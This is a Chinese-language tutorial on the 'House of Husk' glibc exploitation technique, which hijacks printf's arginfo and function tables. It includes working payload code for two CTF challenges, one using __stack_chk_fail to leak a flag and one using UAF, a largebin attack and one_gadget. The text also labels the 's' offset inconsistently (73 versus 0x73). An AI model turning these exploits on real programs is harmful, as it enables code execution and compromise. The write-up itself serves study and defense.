house of husk学习利用
字数 1733 2025-08-22 12:22:42
House of Husk 利用技术详解
1. 漏洞原理
House of Husk 是一种利用 glibc 中 printf 系列函数自定义格式化字符处理机制的漏洞利用技术。其核心原理如下:
-
printf 函数自定义格式化字符机制:
printf函数通过检查__printf_function_table是否为空来判断是否有自定义的格式化字符- 如果是 printf 类格式字符串函数,会根据格式字符串种类执行
__printf_arginfo_table[spec]处的函数指针
-
劫持点:
- 劫持
__printf_function_table使其非空 - 劫持
__printf_arginfo_table使其表中存放的 spec 位置指向后门或构造的利用链 - 当执行到
printf函数时就可以劫持程序流
- 劫持
-
spec 机制:
- spec 是格式化字符,例如
printf("%s\n",a)中的 's' - 需要将
printf_arginfo_table[73]的位置(即&printf_arginfo_table+0x73*8处)写入想要执行的地址 - 73 是 's' 字符的 ASCII 码
- spec 是格式化字符,例如
2. 调用链分析
完整的调用链如下:
printf
→ vfprintf
→ printf_positional
→ __parse_one_specmb
→ (*__printf_arginfo_table[spec->info.spec])
3. 利用方法
3.1 基本利用步骤
- 劫持
__printf_function_table使其不为空 - 劫持
__printf_arginfo_table表 - 在表中对应 spec 字符偏移处写入目标函数地址
- 触发包含该 spec 字符的 printf 调用
3.2 例题分析:husk
题目特点:
- 静态链接
- 利用
stack_chk_fail()打印 flag
利用思路:
stack_chk_fail()会将libc_argv[0]指向的字符串打印出来- 将
__libc_argv[0]内容修改为 flag 的地址 - 将
printf_function_table置为非空 - 将
printf_arginfo_table[spec]篡改为__stack_chk_fail()来打印 flag
关键地址:
stack_chk_fail = 0x4359B0
flag_addr = 0x6B4040
name_addr = 0x6B73E0
libc_argv = 0x6b7980
printf_function_table = 0x6b7a28 # __printf_function_table
printf_modifier_table = 0x6b7a30 # __printf_modifier_table
printf_arginfo_table = 0x6b7aa8 # __printf_arginfo_table
利用代码:
payload = p64(flag_addr)
payload = payload.ljust(libc_argv - name_addr, b'a')
payload += p64(name_addr) # libc_argv[0] -> name_addr -> flag
# 填充到__printf_function_table
payload = payload.ljust(0x6b7a28 - name_addr, b'a')
payload += p64(0x1) # __printf_function_table != 0
payload += p64(0x0) # __printf_modifier_table = 0
# 填充到_printf_arginfo_table
payload = payload.ljust(0x6b7aa8 - name_addr, b'a')
payload += p64(printf_arginfo_table)
payload += p64(0xdeadbeef) * (0x73 - 1)
payload += p64(stack_chk_fail) # __printf_arginfo_table[73]
3.3 例题分析:DASCTF X HDCTF 2024
题目特点:
- libc 2.31
- 限制:add 只允许 6 个堆块,大小只能在 largebin 范围
- edit 和 show 只有一次机会
- delete 第一次有 UAF,后面没有
- magic 函数可以任意地址写一个字节
利用思路:
- 使用 largebin attack 将
__printf_arginfo_table写入一个堆地址 - 根据偏移查找堆上的函数进行执行
- 控制流劫持:
rcx= largebin attack 写入的堆地址rdx= 0x73 ('s' 的 ASCII 码)rax= 想要执行的函数- 最终会
call rax
利用代码:
# 初始堆布局
add(0x520) #0
add(0x520) #1
add(0x500) #2
add(0x500) #3
# 泄露基址
free(0) # UAF
free(2)
show(0)
base = u64(io.recv(8)) - 0x1ecbe0
heapbase = u64(io.recv(8)) - 0xa60
# 准备gadget
gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
ogg = base + gadgets[0]
printf_function_table = base + 0x1f1318
printf_arginfo_table = base + 0x1ed7b0
# 布置堆内容
add(0x500, p64(ogg) * (0x500 // 0x8), 'xx') #2
free(2)
# 修改printf_function_table不为0
gift(printf_function_table, 0xff)
# largebin attack
payload = p64(base + 0x1ed010) * 2 + p64(heapbase) + p64(printf_arginfo_table - 0x20)
edit(0, 'xx', payload)
# 触发
add(0x540) #2
menu(-1)
4. 关键点总结
-
劫持目标:
__printf_function_table必须为非空__printf_arginfo_table必须可控
-
spec 选择:
- 选择常用格式化字符如 's' (0x73)
- 确保对应偏移处地址可控
-
利用场景:
- 需要能够控制全局变量区域(如 largebin attack)
- 或者能够泄露相关地址
-
防护绕过:
- 适用于 Full RELRO 情况(因为不涉及 GOT 表)
- 可以绕过某些保护机制
-
版本差异:
- 不同 glibc 版本中相关符号偏移可能不同
- 需要根据具体环境调整
5. 防御措施
- 检查 printf 系列函数的格式化字符串是否可控
- 监控
__printf_function_table和__printf_arginfo_table的修改 - 使用更安全的字符串处理函数替代 printf 系列函数
- 启用完整的保护机制(如 ASLR、FORTIFY_SOURCE 等)
通过深入理解 House of Husk 技术,安全研究人员可以更好地防御此类攻击,而渗透测试人员可以将其纳入高级利用技术库中。